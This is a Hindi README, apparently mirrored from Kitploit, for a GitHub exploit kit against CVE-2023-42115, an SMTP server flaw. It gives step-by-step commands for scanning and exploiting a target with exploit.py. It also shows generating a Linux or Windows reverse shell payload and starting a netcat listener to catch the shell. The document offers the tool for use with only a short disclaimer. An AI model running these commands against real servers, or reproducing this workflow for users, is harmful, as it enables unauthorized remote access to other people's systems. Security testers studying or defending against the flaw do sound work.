cve-2023-42115

CVE-2023-42115: शोषण और पेलोड जनरेटर स्क्रिप्ट

इस रिपॉजिटरी में दो Python स्क्रिप्ट शामिल हैं:

1. exploit.py: CVE-2023-42115 के शोषण के लिए एक स्क्रिप्ट।
2. generate_payload.py: रिवर्स शेल पेलोड जनरेट करने के लिए एक स्क्रिप्ट।

पूर्वापेक्षाएँ

स्क्रिप्ट चलाने से पहले, सुनिश्चित करें कि आपके सिस्टम पर Python 3 स्थापित है।

स्थापना

1. रिपॉजिटरी को क्लोन करें:

   root@kitploit:~

   git clone https://github.com/isotaka134/cve-2023-42115.git
   cd cve-2023-42115
   

2. निर्भरताएँ स्थापित करें:

   pip का उपयोग करके आवश्यक Python लाइब्रेरी स्थापित करें। requirements.txt में सूचीबद्ध सभी आवश्यक निर्भरताएँ स्थापित करने के लिए निम्नलिखित कमांड चलाएँ:

   root@kitploit:~

   pip install -r requirements.txt
   

उपयोग

exploit.py

यह स्क्रिप्ट CVE-2023-42115 भेद्यता का शोषण करती है।

python exploit.py -t <target_ip> -p <target_port> [options]

विकल्प:

-t: लक्ष्य का IP पता।

-p: लक्ष्य सेवा का पोर्ट।

उदाहरण:

1. लक्ष्य स्कैन करें
   root@kitploit:~

   python exploit.py -t 192.168.1.10 -p 25 --mode SCAN
   

2. भेद्यता का शोषण करें
   root@kitploit:~

   python exploit.py -t 192.168.1.10 -p 25 --mode EXPLOIT -f /path/to/payload.sh
   

generate_payload.py

यह स्क्रिप्ट उपयोगकर्ता इनपुट के आधार पर एक रिवर्स शेल पेलोड जनरेट करती है।

python generate_payload.py

चरण:

स्क्रिप्ट आपसे निम्नलिखित जानकारी माँगेगी:

A. पेलोड प्रकार (linux या windows)

B. स्थानीय IP पता: रिवर्स कनेक्शन के लिए

C. स्थानीय पोर्ट: रिवर्स कनेक्शन के लिए ** I: यदि आप राउटर के पीछे हैं या NAT का उपयोग कर रहे हैं, तो अपने Netcat चलाने वाले डिवाइस पर सही पोर्ट फ़ॉरवर्डिंग सेट करना सुनिश्चित करें।

D. आउटपुट फ़ाइल का नाम (जैसे, Linux के लिए payload.sh या Windows के लिए payload.ps1)

उदाहरण:

python generate_payload.py
Payload Generator
Enter payload type (linux/windows): Linux
Enter local IP address: 127.0.0.1
Enter local port: 4444
Enter output file name (e.g., payload.sh or payload.ps1): Payload.sh
Payload saved to Payload.sh

एक लिसनर सेट करें

आपको अपनी स्थानीय मशीन पर रिवर्स शेल पकड़ने के लिए एक लिसनर सेट करना होगा। इसके लिए आप Netcat (nc) का उपयोग कर सकते हैं।

1. Linux के लिए: एक टर्मिनल खोलें और Netcat लिसनर शुरू करें:
   root@kitploit:~

   nc -lvnp <YOUR_LOCAL_PORT>
   

2. Windows के लिए: एक कमांड प्रॉम्प्ट खोलें और Netcat लिसनर शुरू करें:
   root@kitploit:~

   nc -lvnp <YOUR_LOCAL_PORT>
   

इन चरणों का पालन करके, आपको CVE-2023-42115 का शोषण करने और एक रिवर्स शेल कनेक्शन प्राप्त करने के लिए पेलोड बनाने और उपयोग करने में सक्षम होना चाहिए।

योगदान

यदि आपके पास सुधार के सुझाव हैं या योगदान देना चाहते हैं, तो कृपया एक issue खोलें या pull request सबमिट करें।

अस्वीकरण

1. कानूनी अस्वीकरण: यह स्क्रिप्ट शैक्षिक उद्देश्यों और नैतिक परीक्षण के लिए है। जिन सिस्टमों के आप मालिक नहीं हैं या जिनका परीक्षण करने की स्पष्ट अनुमति नहीं है, उनके खिलाफ अनधिकृत उपयोग अवैध है और कानून द्वारा दंडनीय है।
2. नैतिक उपयोग: इस स्क्रिप्ट का जिम्मेदारी से उपयोग करें और केवल उन वातावरणों में जहाँ आप सुरक्षा परीक्षण कर सकते हैं।

समस्या निवारण

1. कनेक्शन समस्याएँ: सत्यापित करें कि लक्ष्य पहुँच योग्य है और SMTP सेवा चल रही है।
2. भेद्यता का पता लगाना: सुनिश्चित करें कि सेवा बैनर भेद्यता जाँच के लिए अपेक्षित आउटपुट से मेल खाता है।
3. पेलोड निष्पादन: सुनिश्चित करें कि पेलोड फ़ाइल सही ढंग से स्वरूपित और सुलभ है।

संपर्क

प्रश्नों या सहायता के लिए, कृपया संपर्क करें:

 [email protected]